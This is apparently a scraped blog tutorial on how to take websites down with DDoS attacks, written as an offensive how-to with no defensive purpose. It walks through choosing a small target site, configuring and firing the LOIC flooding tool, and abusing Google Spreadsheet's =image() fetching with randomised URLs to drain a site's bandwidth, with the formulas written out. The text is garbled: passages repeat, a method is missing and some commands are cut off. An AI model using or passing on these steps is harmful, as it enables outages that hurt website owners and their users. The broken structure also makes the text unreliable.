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DDos is defined as “Distributed Denail of Service Attack“. This tutorial explains what is DDosing and how to hack a website temporarily using DDos method.
It is a very common news when you hear that a website is hacked by a group or a website is crashed and etc. etc. Have you ever wonder how a hacker group take a website down or do you know the exact method of crashing a website? Actually there are several methods which are used by the hacker group. However, using Distributed Denail of Service Attack technology, any small website can be crashed very easily.
DDos – Distributed Denail of Service Attack
Every web server has it’s own capacity of handling requests at a particular time. A DDos can be occured when a web server or a system gets so many requests at one time which it can’t handle, then the system hangs or shuts down automatically. This results in a website is crashed or temporary down. When a website becomes a victim of DDos attack, it looses all it’s allotted bandwidth which makes the website server temporary down. Overloading a network or flooding a web server by sending huge amount of requests at a time results disconnection of data transmission between a server and a user. Thus a website goes to temporary down state or faces server unavailable problem due to DDos a website. Until the system administrator analyses all the requests, it is impossible to filter attackers’ request.
There are several ways to DDos a website. I mention here command line manually DDos and automatically DDos using free tool techniques.
Method #1: How to DDos a Website Manually Using Windows Command Prompt
Method #3: How to Use Google Spreadsheet to DDos a Website
Google always use a feedfetcher crawler to capture the image, then display the cache image. Google use the same technique using Google Spreadsheet to cache and display any image that is inside =image(“”) value. For example, if i put =image(“
”[/URL]) function in the spreadsheet, it fetches the image and display it.
Using a random parameter request, one can ask feedfetcher crawler to crawl exactly the same file multiple times. If I use a large pdf file link, Google feedfetcher crawler will fetch nothing. But, it crawls the website multiple times and results a lots of outgoing bandwidth/traffic loss. As, it fetches nothing, so there is no fear to loss your bandwidth.
In this case the spreadsheet function should be something like this:
http://example.com/sample.pdf?r=0")
=image("http://example.com/sample.pdf?r=1")
=image("http://example.com/sample.pdf?r=2")
......
......
=image("http://example.com/sample.pdf?r=999")
=image("http://example.com/sample.pdf?r=1000")
So, using a single laptop, anyone can disaster a website and sends 250GB traffic within 45 minutes.
It is a very common news when you hear that a website is hacked by a group or a website is crashed and etc. etc. Have you ever wonder how a hacker group take a website down or do you know the exact method of crashing a website? Actually there are several methods which are used by the hacker group. However, using Distributed Denail of Service Attack technology, any small website can be crashed very easily.
DDos – Distributed Denail of Service Attack
Every web server has it’s own capacity of handling requests at a particular time. A DDos can be occured when a web server or a system gets so many requests at one time which it can’t handle, then the system hangs or shuts down automatically. This results in a website is crashed or temporary down. When a website becomes a victim of DDos attack, it looses all it’s allotted bandwidth which makes the website server temporary down. Overloading a network or flooding a web server by sending huge amount of requests at a time results disconnection of data transmission between a server and a user. Thus a website goes to temporary down state or faces server unavailable problem due to DDos a website. Until the system administrator analyses all the requests, it is impossible to filter attackers’ request.
There are several ways to DDos a website. I mention here command line manually DDos and automatically DDos using free tool techniques.
Method #1: How to DDos a Website Manually Using Windows Command Prompt
- Select a small website that you want to DDos attack.
- Find the IP address of the website. To find the IP address of a specific website just use the following command:
www.example.com -t
The IP address looks similar to xxx.xxx.xxx.xxx
- Now type the following command:
http://sourceforge.net/projects/loic/ - Once, you download the software, extract the software to Windows desktop.
- Targeting the website: Double click the software icon to open it. LOIC is a portable software and requires no installation.
- Now, put the website address that you target in the ‘target URL’ field.
- It is optional to put the IP of the targeted website in the IP field. You can get the website IP by using ping command from your Windows.
- Press the ‘lock on’ button which is next to the text field.
- Under ‘Attack’, don’t change timeout, HTTP subsite, speed bar.
- Under ‘TCP/UDP Message’, enter whatever you want to right.
- Under the ‘Port’ field, change the value of the port of the targeted website. In most of the cases the value ’80’ should work.
- Under ‘Method’, from the drop-down list, select UDP option.
- Uncheck the ‘Wait for reply’ check box.
- Change the thread value to 20 if you have a good computer. Otherwise, keep the value to 10.
- Press the “IIMA CHARGIN MAH LAZER” button.
Method #3: How to Use Google Spreadsheet to DDos a Website
Google always use a feedfetcher crawler to capture the image, then display the cache image. Google use the same technique using Google Spreadsheet to cache and display any image that is inside =image(“”) value. For example, if i put =image(“
Using a random parameter request, one can ask feedfetcher crawler to crawl exactly the same file multiple times. If I use a large pdf file link, Google feedfetcher crawler will fetch nothing. But, it crawls the website multiple times and results a lots of outgoing bandwidth/traffic loss. As, it fetches nothing, so there is no fear to loss your bandwidth.
In this case the spreadsheet function should be something like this:
http://example.com/sample.pdf?r=0")
=image("http://example.com/sample.pdf?r=1")
=image("http://example.com/sample.pdf?r=2")
......
......
=image("http://example.com/sample.pdf?r=999")
=image("http://example.com/sample.pdf?r=1000")
So, using a single laptop, anyone can disaster a website and sends 250GB traffic within 45 minutes.